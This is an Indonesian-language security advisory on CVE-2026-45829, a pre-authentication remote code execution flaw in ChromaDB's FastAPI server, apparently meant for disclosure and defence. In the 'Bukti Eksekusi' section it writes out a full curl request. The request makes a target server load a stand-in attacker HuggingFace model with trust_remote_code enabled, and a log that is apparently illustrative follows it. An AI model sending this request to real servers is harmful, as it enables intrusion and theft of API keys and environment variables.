CVE-2026-45829: Kerentanan Kritis ChromaDB Memungkinkan RCE Tanpa Autentikasi
Ringkasan
Kerentanan keamanan dengan identifier CVE-2026-45829 ditemukan pada implementasi FastAPI server milik ChromaDB. Celah ini memungkinkan attacker melakukan Remote Code Execution (RCE) tanpa autentikasi melalui manipulasi konfigurasi embedding model berbasis HuggingFace.
Kerentanan ini dikenal dalam beberapa analisis sebagai ChromaToast Served Pre-Auth dan berdampak pada ChromaDB versi:
1.0.0- hingga
1.5.8
ChromaDB sendiri merupakan vector database populer yang digunakan dalam workflow AI modern seperti:
- Semantic Search
- Retrieval-Augmented Generation (RAG)
- AI Knowledge Base
- AI Agent Memory
Jalur Eksploitasi
Endpoint FastAPI berikut menjadi target utama eksploitasi:
POST /api/v2/tenants/{tenant}/databases/{db}/collections
Walaupun endpoint tersebut didokumentasikan memerlukan autentikasi, implementasi aktual memproses konfigurasi embedding terlebih dahulu sebelum verifikasi identitas dilakukan.
Parameter berbahaya yang digunakan attacker:
{
"model_name": "attacker/malicious-model",
"trust_remote_code": true
}
Ketika trust_remote_code=true digunakan, HuggingFace dapat menjalankan Python code dari repository model eksternal.
Bukti Eksekusi (Terminal-Style)
[+] Target: ChromaDB FastAPI Server
[+] CVE: CVE-2026-45829
[+] Status: Remote Code Execution (Unauthenticated)
$ curl -X POST http://target:8000/api/v2/tenants/default/databases/default/collections \
-H "Content-Type: application/json" \
-d '{
"name":"exploit",
"embedding_function":{
"type":"huggingface",
"model_name":"attacker/malicious-model",
"trust_remote_code":true
}
}'
HTTP/1.1 500 Internal Server Error
[+] Server Log:
INFO: Loading embedding function...
INFO: Downloading HuggingFace model...
INFO: Executing remote Python code...
ERROR: Authentication failed
[!] Authentication berjalan SETELAH model dieksekusi
[!] Remote code execution berhasil terjadi sebelum validasi user
Analisis
- Root cause berasal dari kesalahan urutan proses autentikasi pada FastAPI server.
- ChromaDB memproses embedding function sebelum authentication enforcement dijalankan.
- Parameter
trust_remote_code=truememungkinkan eksekusi Python code dari repository HuggingFace attacker. - Walaupun request akhirnya ditolak, payload telah berhasil dieksekusi sebelumnya.
Potensi dampak eksploitasi:
- Akses penuh terhadap proses ChromaDB
- Pengambilan API key dan environment variables
- Akses terhadap vector database
- Lateral movement ke infrastruktur lain
- Eksekusi shell pada server target
Tingkat Paparan
Berdasarkan observasi scanning internet berbasis Shodan:
- Sekitar 73% instance ChromaDB yang terekspos internet berada dalam versi rentan.
- Seluruh deployment FastAPI ChromaDB versi
1.0.0hingga1.5.8berpotensi terdampak. - Hingga saat ini kerentanan masih dilaporkan belum mendapatkan patch penuh pada versi
1.5.8.
Mitigasi Sementara
Rekomendasi mitigasi yang disarankan:
- Hindari mengekspos ChromaDB FastAPI langsung ke internet
- Batasi akses menggunakan firewall atau VPN
- Gunakan deployment Rust (
chroma run) atau official Docker image - Hindari penggunaan model eksternal tidak terpercaya
- Perlakukan model AI eksternal sebagai sumber eksekusi kode tidak terpercaya